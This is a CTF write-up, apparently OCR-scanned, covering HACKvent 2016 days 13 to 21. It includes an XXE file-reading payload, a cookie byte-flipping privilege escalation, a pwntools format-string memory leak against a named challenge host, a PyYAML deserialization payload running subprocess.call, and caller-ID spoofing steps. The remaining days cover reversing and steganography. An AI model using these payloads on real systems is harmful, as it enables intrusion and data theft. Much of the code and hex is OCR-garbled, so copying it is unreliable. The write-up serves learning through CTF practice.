"/home/jcoinz/9f40461baba9bf00ba9174beeeb9b8a80c0ffbab" >]1><tag> &file;
</tag>

[?] Action: 2

[-] Decreased the account of "billy" by 1337

[?] XML Message: <?xml version="1.0"?><!DOCTYPE letter [<!ENTITY file SYSTEM "/h
ome/jcoinz/9f40461baba9bf00ba9174beeeb9b8a80cOffbab"” >]><tag> &file; </tag>

[+] Your secret xml message: <tag>

You did it!

Greets, MuffinX
HV16-y4h0-g00t-d33m-cOln-zzzz

If you liked this challenge, tweet me: https://twitter.com/muffiniks
</tag>

1 - sends jcoinz to charity

2 - send a secret xml message to the admin
Your name: billy

Your amount of jcoinz: 2147471596

[?] Action: |}

And we got the flag for the day: HV16-y4h0-g00t-d33m-c01n-zzzz
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Day 14: Radio War Game

The quieter you become, the more you are able to hear
Task

A UK football fan transmits chants and hopes the gods of football pick it up and consider his
favorite, Manchester, to win the cup.

Santa, while using his ham radio station to receive wish-lists from earth, picked it up and
saved a copy for his data lake. Can you help Santa to make sense of the signals?

Solution
First | must say, that the german guys, like me, had a similar challenge within the CSCG finals. So we
have a little advantage in this challenge.

To solve this challenge | used inspectrum (https://github.com/miek/inspectrum). You should also
view this video, to understand how the Manchester encoding works.

- ‘ ‘ ,‘ ‘ | |
4 I If:‘: i“ 1) ! & . &
!im “!Ia EH” w ,'.tm !E%iﬂ

With that knowledge | read the bit-stream by hand and got the following Message:

000010010000101011000110001001101100010110100110001001100110011001100110111001011
010101001001100001011001000110100100101101011011110101011101100001011100100010110
101100111011000010110110101100101001011010011000100110011001100110011011100001010
Decoded the binary means:

HV16-1337-Radi-oWar-game-1337
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https://github.com/miek/inspectrum
https://www.youtube.com/watch?v=XKtxxZ327UM

Day 15: SAP - Santas Admin Panel

you better know how to flip around
Task

You got access to Santa's hompage. But without admin rights there's nothing to see here...
A valid login is: raindeer10 / s4nt4

Solution

At this challenge there was a webpage given, where we could login. After the login, we got only
standard user rights. The only attack point was the cookie “cmiInaHRz”, which is base64-decoded.
Encoded it means “rights”. There was also a strange behavior with that cookie. If we decode the
base64 to a hex-string, we could manipulate some of the bytes and use that manipulated base64(hex
string) as an cookie. For example, if you manipulate the first byte, nothing happens, but if you
manipulate the last byte your User Rights switch to None.

Logged 1n as: raindeer10

User Role: None

So | checked every byte in the cookie, which | could manipulated or not. The bytes which | could not
manipulate are marked with a m and the bytes which | can manipulate are marked with a E:
XXXXXXXXXXXXXXEXEEEEEEEEEEEEEEEE

As you can see in the middle is one special position, besides the other one. | wrote a little python
script, which manipulate that byte in the middle and tried out every possible value. | also checked
with the python script, if my user rights are changed, so that | notice which value get me some
interesting rights.
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43
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQTOzgteK3vpWLmhTxuFo
raindeerl@

Standard

62
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQTYygt@K3vpWLmhtxuFo
raindeerl@

Standard

84
QUFBQUFBOQUFBQUFEQUFBQUFBQUFBQUFBQUFBQTgBgteK3vpWLmhTxuFo
raindeerl@

Admin

OE
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQTLFgt@K3vpWLmhfxuFo
i ndeer1

85apE%2Bo%3D

85apE%2Bo%3D

85apE%2Bo%3D

85apE%2Bo%3D

If the value is manipulated to 0x84 we are getting admin rights. So we only must copy and paste the

base64 string and replace the old one, with that one.

Congratulations! You are a 1337

h4x0r!

Please get the tlag!

And that is the flag for the day: HV16-R41n-d33r-8yt3-Fl1p-H4ck

25




Day 16: Marshmallows
type: "nomnomnom marhshmallow nomnomnom muffin%x was here"
Task

There's this guy Randy, he loves marshmallows and programming in python and C.
Prove him by hacking his server, that it's not a good idea to code if you had too many
marshmallows.

nc challenges.hackvent.hacking-lab.com 1033

Solution
MuffinX presents...

VA ViaY

i
- \

! \_

. Marshmallows! <3
[+] Menu

1 - Play chubby bunny.
2 - Exit.

If we play chubby bunny, with %x we got a format string exploit. If we also analyze the given source
code, we notice some hidden functions:

setenv (C_Char_p (b’ MARSHMALLOW TOKEN' ),
c_char p(str(uuid.uuid4()) .encode('ascii')), 1)

[...]

elif user input == 'send secret marshmallows':
if safe gets('[?] Token: ") ==
getenv (c_char p(b'MARSHMALLOW TOKEN')) .decode('ascii'):

printf(b'[+] Good token.\n'")
secret marshmallows =
load yml(base64.b64decode(safe gets('[?] Your secret marshmallows:
")) .decode('ascii'"))
else: printf(b'[-] Wrong token!\n")

As you see, at the beginning of the application the Environment variable MARSHMALLOW_TOKEN is
set to the uuid of the process. So we need somehow to leak this value, over the format string. To
analyze the memory on the server dynamically | wrote a little python script:
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from pwn import *
from base64 import b64dencode, b64decode

r = remote("challenges.hackvent.hacking-lab.com",1033)

def dump stack():
return 300%*

def print memory(stack nr):
S=|| 11
for i in xrange(0,stack nr-1):
s+="%08x"

S+=H (‘?)S”
return s

while True:

print r.recvuntil ("> ")
r.sendline("1")
print r.recvuntil ("marshmallows:")
xXxXx = raw_input("Stack nr: ")
#fprint "COMMAND : " + str(xxx)
if str(xxx) == "ds\n":

show = str(dump stack())
else:

show = print memory (int (xxx))
print show
r.sendline (show)

With that | was able to easily analyze all stack values on the server. After some analyzing | noticed
that | got the Token on stack number 294:

TRNE, WlGIRELRIeIGIaLeIels, veuuuuuu !
d0100000000efe69dT60OBOTdO400815b0T00000001000081c4000000000
Th6d0584e04b300000000584e06calf355ed100000000000000000000000
0T17070000000030047d9T400T1707000000002421646200000000000000
50000000042164708000000000047d8cROEODO0006a536b9bOB56d55¢c421

000OEEEOEEDO000OEEEAS5Cc13TO421647080000000300000000000000000
0001cOPORRD03421642914216429942164e9c0000000042164ebT42164ed
MARSHMALLOW TOKEN=3b8be3da-831b-4a79-9642-f9Th60d46737

[+] Menu

After the token, we must send a base64 yaml exploit. There are some examples out there, but
somehow | was to dump to use it. So | developed my own exploit. To test it locally | programmed a
little python script to test it.:

import yaml

import baset4

load yml = yaml.load

exploit = base64.b6dencode ( )

secret = load yml(base64.b64decode (exploit) .decode('ascii'))
#print secret
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After some tries | used the following yaml-code to exploit the python function:

user_input: !!python/object/apply:print [
!''python/object/apply:subprocess.call [['ls', '/home',]1]]

Now we can browse everything and find the flag:

> send secret marshmallows

[?] Token: ffbadb83-a562-4ba8-8b88-

[+] Good token.

[?] Your secret marshmallows: ICBlc2VyX21lucHVO0iAhIXB5dGhvbi9vYmplY3QvYXBwbHk6cHIpbnQgWyAhIXB5dGhvbi9v
k6c3VicHIvY2Vzey5jYWxsIFtbl2xzlywgly9ob211L21hcnNobWFsbG93cy8nXV1dIA==
5ae64891a8212290f157e8fa419c2d3d

marshmallows.py

marshmallows.sh

0
[+] Menu

1 - Play chubby bunny.
2 -QExie

> send secret marshmallows

[?] Token: ff6adb83-a562-4ba8-8b88-624cbdaaa507

[+] Good token.

[?] Your secret marshmallows: ICBlc2VyX21lucHVO0iAhIXB5dGhvbi9vYmplY3QvYXBwbHk6cHIpbnQgWyAhIXB5dGhvbi9v
kbc3VicHIvY2Vzcy5jYWxsIFtbl2NhdCcsICcvaGotZS9tYXIzaGlhbGxvd3MyNWFLN Q40TFhODImMj ISMGYXNTd1OGZhNDESYzIkN

You did it!

Greets, MuffinX

HY16-m4rs-hmd4l-10wh-4x0r-srox

IT you liked this challenge, tweet me: https://twitter.com/muffiniks

0
[+] Menu

HV16-m4rs-hm4l-10wh-4x0r-srOx
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Day 17: 1 want to play a Game
Part 2
Task

so, you enjoyed the first part? that was soooo 90ties - here is something more modern for
you to play.

Solution
Another game-reversing challenge. This time it is a velf, from PS-Vita. | don’t found an emulator, so |
used IDA, to analyze everything. First we should have a look at the strings:

Address Length Type  String
3 FLAG = HV16-part1-part2-part3-partd-parts

s

rodata:00010F... DODDOD1A
.rodata:00010F... ODODDO0G
rodata:00010F... 0DODDOOD
=

fd conversion table mutex

thyl:

malloc mutex

rodata:00010F... Q000000B

_—— o e Fatatatate e

chrk mutex

[ W) [N ) W (S

AN ANaNel

The first string looks interesting. Let’s look at the code:

[l i 5=
HOUS RA, #a
BLX scekernelExitProcess+8x8A80

X

RO, #{unk_11177+8:449)

R1, #{_ZL4flag+8x6ERY ; "FLAG = HUi6-parti-partZ-partd-parti-par=...
printf+0x1A108

; End of function main

OK, it the string is used at the end of one function. Let’s look at the top:
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il s 55

; Attributes: bp-based frame fpd=8
; int _ cdecl main{int argc, const char ==argv, const char =*enuvp)
EXPORT main
main
var_8= -8
var_4= -4
PUSH {R7,LR}
SuB sP, 5P, #8
ADD R7¥, 5P, #B
STR RB, [R7,#8+var_ 4]
STR R1, [R7,#8+var_ 8]
HOU RB, #{parti+8z14) ; “fake_parti™
BL _Z4HU16Ph-8x8A
MOu RZ2, RA
HOU R3, HOxCB2065C2
CHP R2, R3
ITE HE
MOUNE R3, #1
MOUEDQ R3, RO
UXTB R3, R3
CHP R3, H#a
BEQ loc_8A1EC

[l i =

HOUS Ra, #ao

BLX sceernelExitProcess+@x8B28

. J
=
loc_8A1EC ; “fake_part2*

Hmm... another function. We should have a look inside of _Z4HV16Ph-0x8A:
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var_a- o
war_s = Ll

PUSH {RT}

S 5P, 5P, B0xzn

DD R7, TP, B0

STR RO, [R7,B0x20+uar 28]
HOWS R, #8

STR R3, [R7,B0x2heuar 8]
W W R3, WONFFFFEFFF

STR R2, [R7,80x2bsvar 18]
i loc 8190

f9

R3, [R7.Q0=2h+var_8]

RZ, [RT,BOx2h+uar_20]

R2, R2

B3, [RI]

KE, #a

loc_ 815k

T

L | L
[l e 1
RE, [RT,@0=2h+var_18]
loc 815k RkZ, R3
LDR R2, [R7, E0=2bh+var_8] R, R3
LDR R2, [RT,®B=2h+var_ 2@] R7, ®@x2y
1] RZ, R2 5P, RY
LDRE R3, [RI] R7, [SPeuar_s@],84
TR RE, [RT,®B=22h+var 14] LE
LDR RZ, [R7,80x24+uar 18] = End of Function HUAG{uchar =)
LDR R3, [RT.@0=2h+var_14]
EDRSE KZ, H2
TR R2, [R7,B0x2b+var_1@]
HOUE R3, #7
5TR R3, [RT,E0x2h+var 0]
B loc_ #8198
=
' E—

RI, [R7,BOx24suar L]
H3, #o
loc_B160

L |

il =1 ] i

LDR R3, [R7,B0x24+var_B]
loc 8160 noDs RE, #
LDR R, [R7,80=24+var_18] 5TR R, [R7, M8x2bsuar 8]
AHD. W RZ, A3,
HEES RZ, R3
5TR R, [R7,BOx2h+var_18]
LD RE, [RY,80x2h+var 18]
L5SRS Rz, R3, 1
LDR R1, [R7,@O8x20+var_18]
Hu RE, #EEDBRRATA
AHDS Rz, Ri
EORS RE, A2
5TR RZ, [R7,88x2h+var 18]
LDR R, [R7 . MO0x24+var C]
SUBS Rz, #1
5TR R, [R7,8ix2h+var C]

The interesting part is in the bottom left corner:

e =

loc_816C

LDR R3, [R7,#0x24+var_18]

AND .Y R3, R3, M1

NEGS R3, R3

STR R3, [R7,80x24+var_18]

LDR R3, [R7,#0x24+var_10]

LSRS R2, R3, M1

LDR R1, [R7,#0x24+var_18]

MOV R3, H#OXEDB88320

ANDS R3, R1

EDRS R3, R2

STR R3, [R7,#0x24+var_18]

LDR R3, [R7,#0x24+var_C]

SUBS R3, ®

STR R3, [R7,#0x24+var_C]
|




OxEDB88320 is a static value from CRC32. We had in Day 07 the same algorithm. In the main
function, it takes the CRC32 from some input or something else and compares it with a static CRC32.
So we could take all the CRC32 values and write an bruteforce script in python:

import binascii

bruter = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopgrstuvwxyz"

partl
part2
part3
partd
parth

for cl in bruter:
for c2 in bruter:
for c¢3 in bruter:
for c4 in bruter:

parter = cl + c2 + c3 + c4

crc = binascii.crc32(parter) & Oxffffffff

scrc = "%08x" % crc

if scrc.lower () == "C82065C2".lower():
partl = parter
print "1 Part: " + parter

elif scrc.lower () == "94B12C65".lower () :
part2 = parter
print "2 Part: " + parter

elif scrc.lower() == "JAGCCECE".lower():
part3 = parter
print "3 Part: " + parter

elif scrc.lower() == "9493866C".lower():
partd4 = parter
print "4 Part: " + parter

elif scrc.lower() == "OFACOFA1".lower():
partb = parter
print "5 Part: " + parter

print "HV16-" +4partl +"-"+part2 + "-"+part3+"-"+partd+"-"+parth

And we got the flag for day 17: HV16-8X9z-yjKW-9MBT-1ea6-VY9j
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Day 18: Calling Santa

restricted to 1337s
Task

Attention: this is not a toll-free number!

This challenge can be expensive, depending on your living country. Consider international
dialing costs!

Santa has a voice mail box on +41 445 05 1337. But his voice mail box has caller ID
protection activated.

If you call from +41 76 000 00 00, you can have a nice talk and your wish will be fulfilled.

Solution
This was one of the bad designed challenges I've ever seen.

1. take a provider who offers you calls with spoofed caller id.
2. Call to the number +41 445 05 1337 and change your caller id to +41 76 000 00 00
3. You get to a robot voice, which asked you for numbers. Within the Challenge name,
“restricted to 1337s” you know which numbers you should choose. Here are the steps from
the call:
e Speak to a Monkey = press 1
e Speak to a Hacker 2 press 13
e Speak to a Cracker 2 press 133
e Speak to a Professionell > press 1337
e Congratulation, you are a real Hackman hacking professionell. The Secret Message is
all uppercase HV16PKPKUKUKAKAKCKCKFUCK. | repeat the secret Message is all
uppercase HV16PKPKUKUKAKAKCKCKFUCK. Thank you for playing HACKvent!

For that challenge | give out 20€ for the telephone cost and 10€ for the spoof call provider. Thank
you for wasting my and everyone else money. Next time you could do a challenge, where we donate
money for a good cause. This would be better than this here.
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Day 19: Zebra Code

Get it straight
Task

Get the key and the encrypted message.

Solution

That one was a really good stegano challenge, beside the point that the names of the files are a little
bit misleading. The message is within the zebra-image and the key is the svg file. The description tells
us the opposite. But that doesn’t matter ;)

To the challenge itself. You have some coordinates within the svg file. You should take every pixel
from each coordinate and between the coordinates and print them into a long line. That’s what the
challenge Description said: “Get it straight”. To get this line | wrote a python script, which do all the
work for me:

from PIL import Image

def line(x0, y0, x1, yl):
"Bresenham's line algorithm"
points in line = []
dx = abs(xl - x0)
dy abs(yl - y0)

x, y=x0, y0

SX -1 if x0 > x1 else 1
sy = -1 if y0 > yl else 1
if dx > dy:
err =dx / 2.0
while x !'= x1:
points in line.append((x, y))
err -= dy
if err < 0:
y += sy
err += dx
X += sx
else:

err =dy / 2.0
while y != yl:
points in line.append((x, y))
err -= dx
if err < 0:
X += sXx
err += dy
y += sy
points in line.append((x, y))
return points in line

img = Image.open("zebra4.png™)
pixdata = img.load()
matrix =

[804,409,746,430,772,395,742,379,776,340,707,346,712,383,808,325,747,291,68
8,331,635,406,587,325,622,312,651,279,622,307,638,347,626,412,633,454,668,4
18,651,381,622,412,615,313,590,402,550,352,567,370,584,344,609,275,620,323,
641,282,676,302,654,323,659,363,669,400,698,359,730,359,762,340,806,360,736
,390,777,388,770,419,791,412,793,387,752,402,782,362,771,321,756,344,720,31
7,751,310,738,262,701,242,669,296,675,337,656,376,627,399,633,347,611,323,6
50,283,672,262,645,293,641,322,610,352,607,375,617,410,661,353,640,328,689,
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275,691,319,732,315,759,352,794,319,763,368,819,355,814,305,777,284,753,352
,693,368,748,304,710,281,693,317,619,310,647,340,696,321,730,276,775,268,73
2,311,809,318,761,373,732,349,749,316,812,323,742,302,707,326,689,258,660,3
08,662,361,625,429,605,391,606,340,648,281,666,309,651,330,736,277,735,312,
759,339,783,264,721,271,666,323,649,328,650,274,619,278,615,318,607,398,622
,438,625,391,655,409,654,326,692,329,705,290,675,305,718,239,780,300,719,31
6,755,292,801,334,770,336,787,360,735,365,731,393,815,380,766,368,731,353,7
60,341,714,328,740,308,694,306,652,330,685,274,633,296,619,320,631,357,657,
323,766,305,700,250,636,343,651,392,701,367,711,287,680,356,682,288,756,278
,740,241,705,284,632,286,618,311,673,311,0614,335,603,455,627,409,648,439,67
2,392,696,368,715,384,745,352,741,301,788,298,722,281,781,343,715,338,708,2
80,798,295,752,274,798,285,729,322,755,363,774,295,793,332,763,341,728,420,
778,420,810,406,766,389,805,382,743,413,757,372,784,331,728,366,713,328,744
,310,706,288,679,346,629,365,611,325,651,333,696,265,715,291,709,339,744,27
7,802,293,747,307,786,324,799,366,768,327,721,380,771,288,819,319,783,326,7
44,310,797,362,738,340,730,393,775,366,710,340,779,291,805,342,715,266,712,
352,648,420,624,363,644,276,598,319,633,312,585,359,565,306,571,346,591,410
,584,327,624,319,656,303,691,330,656,372,690,318,734,313,719,269,687,270,66
9,299,762,274,780,299,703,304,711,342,819,329,768,287,718,335,757,343,735,2
62,697,249,632,351,601,354,665,243,60687,241,664,300,729,26060,694,321,749,298,
808,290,785,326,710,276,677,294,648,333]
pixelmatrix = []
for cords in xrange(0,len(matrix)/2-2):

x = matrix[2*cords]

y = matrix[2*cords+1]

x2= matrix[2*cords+2]

y2= matrix[2*cords+3]

pixelmatrix.extend(line(x,y,x2,y2))

size = [len(pixelmatrix), 1024]
imgnew = Image.new("RGB", size)
pix = imgnew.load()

for y2 in xrange(0,1024):
for x2 in xrange(0,len(pixelmatrix)):
x = pixelmatrix[x2][0]
y = pixelmatrix[x2][1]
pix[x2,y2] = pixdatal[x,y]

imgnew.save ("barcode.png")

If you get everything right, you should get something like this:

And when you scan the barcode with https://zxing.org/w/decode, you get the following message:

HV16-kW2j-jE4w-ykh6-aF7j-0rcQ
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Day 20: MitT
Men in the Thing
Task

You bought a very cool retro weather station.

e It shows an ASCII fire place (small or large fire according to the weather situation)

e It connects to the internet (using WLAN) to fetch the actual weather and the weather
forecast for your place (configurable)

e It has a standby mode. The display is switched off if you are not around (detecting
the MAC-Address of your mobile phone)

e Many more cool features

But there is an undocumented feature: It will collect data of your local wlan, your settings to
the weather station and knows, if someone is around. The weather station will leak this
collected data. It also has a backdoor.

Tasks:

e Download the virtualized retro weather station.

¢ Run it and find the poorly crafted port-knocking mechanism

e Follow the instructions

e Instead of leaking data or the opening of a reverse shell, the flag will be leaked

Solution
OK, that’s a long task description. | don’t read it very carefully. So we have a virtual disk and we are
able to convert this into a RAW image with VBoxManage:

VBoxManage clonehd --format=RAW ./corel.vdi ./corel.img

After that | am able to unpack the disk with 7zip and browse at through the files. After reading the
description again, | am searching for something called portknocker or similar. Within the directory
“tce” | found the packed file knocker.tcz. After unpacking it with 7zip | got file called “knocker” which
is a 32bit elf file. Now it’s time for IDA. Like every time, we should have a look at the strings:

Address Length Type  String

sJodata:08048... 00000003 C 0.0.0.0

‘s’ .rodata:03043... 00000010 C the flag is %es\n

E srodata:03048... 00000017 C port %d in %d secondsin
‘s’ .rodata:08043... 0000DO1B C wrong knock .. resettingn
‘s’ .eh_frame:020... 00D00DDO5 C 25\

‘s’ .data:0804A075  DDDOODOS C AAED

‘s’ data:0804A03C 00000003 C LN

‘s’ (data:0804A094  DDDODDDG C ("

The second one looks promising. So we follow the xref to the point, where that string is used in the
code:
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loc_8848898: ; CODE XREF: sub_8B48F7EB+C3L]

mou dl, byte SB4AB7C[eax]
or dl, byte 8B84ABSC[eax]
mov [edi+eax], dl

inc eax

cmp eax, 1Eh

jnz short loc_8048898
push edi

push offset aTheFlagqlIsS ; "the fFlag is %suyn™
push 1

push ebx

call ____fprintf_chk

add esp, 18h

jmp short loc 80488FY4

Looks like the data from byte_804A07C will be “bitwise or” with byte_804A05C:

UHEBHHBHYL  EW HB B4 U5 £E4 HE U4 U5 UU B8 U U8 U8 U8 U8 U8 Ud..0d..cceccnnaa

g8364a85C ET...ARA. .EAQ..P
883 064A86C EU..PAPP .AREE. ..
B864ABYC B8 82 28 22 28 20 82 62 28 28 02 28 22 28 28 62 ..-"(-..({.("-(.
B864ABBC 988 20 22 28 20 28 22 60 28 22 2A 2A 2A @68 Y R A

N LG Rne Ay oy Ay Oy iy Oy 0y Oy [ AR AR AR AR AR AR AR Lrprpe oyl
So | wrote all the things we know now, in a little python script:
import binascii

code = 0x4054111405414040110545415115055045551005504150500541414540 |
0x08022022282002022828022822202802082022282020220028222A2A2A

print hex(code) [2:-1]

print binascii.unhexlify( hex(code) [2:-1])

And we got the flag for the day: HV16-aBB9-Gis5-RMu2-parP-ckoj
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Day 21: Debug me
if you can
Task

Santa tried to hide todays Flag with some special Tricks - but probably special tools will help
you to recover it.

Solutions
OK IDA, didn’t work really well for me, so it’s time for good old ollydbg. Also ollydbg can’t analyze the

application, so | must attach the debugger to the process. First start the application and use the
attach option in olly:

R

:ﬂFiIE View Debug Trace Plugins Options Windows Help

|E Select process to attach O >
FID Hame Window FPath A
BEBEEFEH | Hpp leMobi le C:~Program Files~Common Files~Apple
HEBHEFCH| Appl icat ion C:~Windows~Swstem3Z~HApplicat ionFram
HEAEE0AC | audiodg C:~Windows~Systen3d2~audiodg. ene
BEER]1C2C| conhost Crsindows~System3z2~conhost.exe
BEA0EZG | csrss CErSS.eHE
BEAOZEGY | csrss CErSS.eHE
BEAEEZA4 | AL Lhost C:~Windows~5Systen3dZ~dl lhost.exe
BEBEEAEY | Do Lbw DAXZAF C:~Program Files Dolbw~Dolby DORRZ-D
HEAE1E4d | dwm Ce~Windows~5ysten3d2~dun. ene
BEBEZAFC| exp lorer Jjd—gui-windows—1.4.8 Cz~Windows~edplorer.exne
HEAEZE1S| f irefor Seiten—-Ladefehler — Mozilla|C:~Program Files<Mozilla Firefou~fi
HEAE1ZEC| fontdrvhost C:~Windows~Susten3d2~fontdruhost . exe
BEEALFF4| HU1E_Debugl] HACKwent 2ZE16 CrackMe Ci:=Users~Thelamp~Desk top~ctf~2@16~h
BEEEEEFY | ibrpmswc C:~Windows~SystendZ~ibmprswc. exe

BEBREOZS| ibtsiva
BEBREEC | | gfnCUISery
BAGBEZ1ZC| | gfHEMN
BAGEEZAC| | afHHE
BEGBE1GES| IntelCpHeni

tlindows Sy stemd2~ibtsivaa.ete
tlindows Sy stemd2~igfrCUIService.
txlindows~System3d2~igfEN. ene
txlindows~Systend2~igfuHE . ene
Windows Sy sWOed - Inte lCpHeo i Svo. W

Attach | Cancel |

Before we are analyzing, we should check, which module are currently selected:

(L Lop oy Loy Loy

* OiyDeg - HY16_Debugh3.exe - [CPU - main thread, module USER3Z]
J File View Debug Trace Plugins Optiocns Windows Help

S x| w|=1] b1 AU MHEEHHJﬂ B|M|H]|

TAZFErEn|] - 75.BA_ | JNE_SHORT r4ZFEFCE

— A

s e e

You see in the title screen, that the current module is USER32, but we want to analyze the
HV16 DebugMe3.exe Module. Press on the E (Executable Modules) in the top bar and choose the
right module:

ﬂ Executable modules

Ease Mame | Tupe |File verzion |Statlc links
BEE823888 | Aa4832A0| HU1&_Debu a3 KERHELZZ, USER32

ESd2@88a| vy r Mod_Eg42 Hidden

SSdAEEEaE Mod_E24R Hidden

ES4BEREEE | 77T Mod_E84B Hidden

5491 0EEA | BEAS2E8E80| &495FFCH| apphe lp 18.68.14393.8 (r{api—-ms-Wwin-core—appcomp
T107HEEE| BEATSEA0| F10ASF4E | urtheme 18.68.14593.8 (] api-ms-Wwin-core—ataoms—|
T 1F&HEEa duwrap i 18.68.14393.8 (v api-ms-Wwin-core—debug-|
YSESEEEE | BEAEAEEE | PIES2A9E DRVPTBHSE 18.8.14393.8 (| api-ms-win—-core—de lay lc

Now the fun debugging session can start. First we need to set a breakpoint at that point, where the
application gets the text from input-field. Make a right click, search for all intermodular calls and
then searching for GetDIgltemText and set a breakpoint to this:
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E Search - Intermodular calls in HY16_Debugh3

Callz HY16_Debughd3
Address | Command Dest Dest names
EE4E22CA CALL <JMPLSUSER2Z.DialogBoxParamA F422eFCAl UZERZZ. DialogBouParami
EE4E22ES | CALL <JMP . &USERSZ.EndDialogs r42ZEBEED| USERZZ.EndDialog
EE4E2520( CALL <JMP . &USERSZ.EndDialogs F42EBEER| USERZZ, EndDialog
@E4E3501  CALL <JMP.&KERMELZZ.Ex itProcesss FEE4ADER| KERMELZZ.Ex itProcess
GE4E2H 70 CALL <.JMP . RUSER22, GetDlaltem? F4ZEBERA| UZERZ2Z, GetDlalten

CALL <JMP.&USERS2. GetDlgltenTentH P4260ECH| USERSZ, GetOlgltenTentH
BE4E22AF | CALL <JMP.AKERMEL22. GetModu leHandleR> | PEESCD9G( KERMELZE2. GetModu leHandLeR
BE4E2ARE [ CALL <JMP . SUSER2Z, LoadIconA F4ZFa7eE| UZERZZ. LoadlconA
EE4EzHEc | CALL <JMP. &USERSZ. MessageBorAy r4358520( USERZZ. MessageBoxA
ARARZOFG CQUT ¢ MP 2IISFR3? Moz ansPoeds 7d2EA036] 11SFR27 MessansRawd

Now we can put something in our program and after pressing the check button, we get instantly at
the point, we wanna analyze:

(& HACKvent 2016 CrackMe

| AMAAAAAAAAAAAAARAAAAAAAAAAAAL|

—[ HAPPY XMAS ]

CHECK

8848394?

=~ BFEE F2E0EEE
- ER

&2 DEdad08e
£2_ESBIBEEE
E2 C2EZOEEE

EXIT

JHE BE482A44
USH QOFFSET o@484202
SH ZEZ

USH DWORD PTR SS: [EBP+2]
CALL <JMP.&USERS2.GetDlaltemTentA
F OWORD

oo
CCC

ItemID =
hOizlog => [ARG.EBP+3]

MauCount = 48.
String = " BARARARARARRRARARAARRARARRARRARA"
1888,
LUZERZ2.

GetDlaltemTentA
ASCII "ﬂﬂﬂnﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂ"

M FTR DS:[4842058], 236215642
- BFEE CTPEEBEE JHE GR4a2A2C
EE MO EST, OFFSET @@d4a4202 ASCII "AARARAAARAAAARRARRARAARRAARRARRAA™
2206 BE BDO ESILE
EY B4E08E08 | MO ECH, 4
EF Ol EDI,OFFSET G@4842FE FASCIL "1234123412241224"
ES:H4 EEE ED?S BYTE PTR ES:[EDII1,BVYTE PTR DS:L[ESI]

[BE484202 1=

USERZZ2. GetDlaltenTentA returnsed EAX =
Imm=36315648

41414141

29,

HULE_Debugh3. <Modu leEntryFoint »+8E2

[EIETr I [T

A

[T )

As you see, right after the program get the input, it checks the first DWORD (the first 4 bytes) if they
are 0x36315648 or in ASCII 61VH. Cause it is right from the memory, you must inverse that string, so
our Input must start with HV16. Now we know that our Input must be the flag for this day. So it has
the same format, like every flag: HV16-XXXX-XXXX-XXXX-XXXX-XXXX

HE4EE99F || = FS:A4 REF MOUS BYTE PTR ES:[EDII,EYTE PTR DS:[CESI]
EE4az9A1 || - &8 45464000 (PUSH OFFSET B8484045 FHraZ = ASCIL "HACKwent_Z2@1Gtt+™
HE4EZ9RE ]« &2 EEd24BB6 | PUSH OFFSET @@4@842Fc Hrgz = HUl&_Debugh3. 4842F6
B = &3 FE42468600 | PUSH OFFSET BR4842FE Aral = ASCILI "dusduguuzzzzun”
A4 = EZ 4FB8lB60BR |CALL Aa483BEH4 LHULE _Debual3. B8463EE4
EB483985 = B9 @2@860En | MOU ECH, 2
HWE4E=2EA ]« BF Fadad@aa | (MoU EDI,OFFSET AR4E4a7va
GE4E35eF ||« BE Eod2d@@ea | MO ESI, OFFSET @04842Fc
HE4E29C4 | - F3:R& REFE CHPS EYTE FTR DS: [ESI1,BYTE PTR ES:[EDI]
HA4ASSCE|] = 75 BH JHE SHORT BHE4E3AZ2
HE4Es5CE | - &8 4546846608 |PUSH OFFSET @@484045 FHra% = ASCIT "HACKwent_Z2@1&tt™
EE4Ez9Co| ) - &8 Eed24B66R | PUSH OFFSET @84842F5 Ara2 = HU1&_Debuab3, 4642F&
EE4E2902 )« 62 Bod424B86R | PUSH OFFSET @04@842685 Hrgl = RASCIL "fzzzzwaout’
HE4EZ507 | - EES 288168080 | CALL ha48SEH4 LHULE_Debual3. Ba4asE64
HE4Ez50C | - B9 B2888dEE |MOU ECH, 2
HE4E29EL | = BF MoL EDI,OFFSET DEd4E4E7S
HWA4ES9EE |l = BE MoL ESI,OFFSET BB4E42F&
HE4E39EE |l = F2:RGE REFE CHPS EYTE PTR DOS: [ESI1,BYTE PTR ES:[EDI]
aa4a2%en(] -~ 75 29 JHE SHORT BB483AZ28
HWE4EZ2EF |« ES 38A16B8A | CALL BA485B24 CHU1E_Debugi3. B84E3E24
aa4as9F4|] - 2330 BE434660 CHMP DWORD PTR DS: [484360E1, 1
Ba4829FE(| -~ ¥E 21 JHE SHORT B84832A1E
HE4EZ9F0 = EH 48 FUSH 48 Tups = ME_OKIMB_ICOMASTERISK i MBE_DEFE
BE4E39FF |« 65 48464886 | FUSH OFFSET @@404848 CaDtLDn = "HULE™
HE4EsAE4 || - &8 ES4ad400R | PUSH OFFSET B8484055 Tewt = "That is the correct Flagtt™
HE4EZHED |« FF7S B2 FUSH DWORD FPTR SS:[CEBFP+21 hidwner = [HRG.EBP+21]
AE4EsAEc| - ES BI38160RA | CALL <JHP.%USER3Z.MessageBoxAx USERSZ.HEESEQEBDHH
HE4EsH11 ) - FF35 PUSH DWORD PTR DS:[4842041] hilnd = BB848855E, class = Edit
HE4EZA17 |« ES 968100EE | CALL <JMP.%USER22.SetFocus> USERZ22.S=tFocus
AR4ASAIC|] =~ EB B3 JMFP SHORT BE483A24
codscric|| > FErs pe | PUSH DUORD PTR S5: [EBP+2] [rigl =7, [ARG.EBP4]

After passing the first check, we got to the following function in 0x004039B0 which calls 0x00403B04.
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CE4EZEAG Y O3 BEEE 80 EHTER o, 8 HU1E_DebugM3. BB4BBBB4[guessed Flrgl Arg2, Ara3)
= FF75 18 FUSH OWORD FTR S5: [EBF+1@1 [ﬂrgl = ASCII "HACKwent_2E16t

GEd4EzERE|l - E2_BFDEFFFF | CALL Ge461iCF HUME Debuwgh2, G461 1CF

gadEzela)l - FFPS 83 PUSH DWORD FTR 25: [EEF+2] [ﬂr‘gE = L[HRGE.EEP+21]

an4a3Els(| - FFPS Ac FUSH DWORD PTR 55 [ERP+AC] Aral => CARG.EBP+AC]
Ga4asEle([ «  ES ESDFFFF | CALL Gedialnng HUTE_Debuglis, Ba4a1 660
ga4azEiE(| - EZ 4FOPFFFF | CALL @a<4a1zer

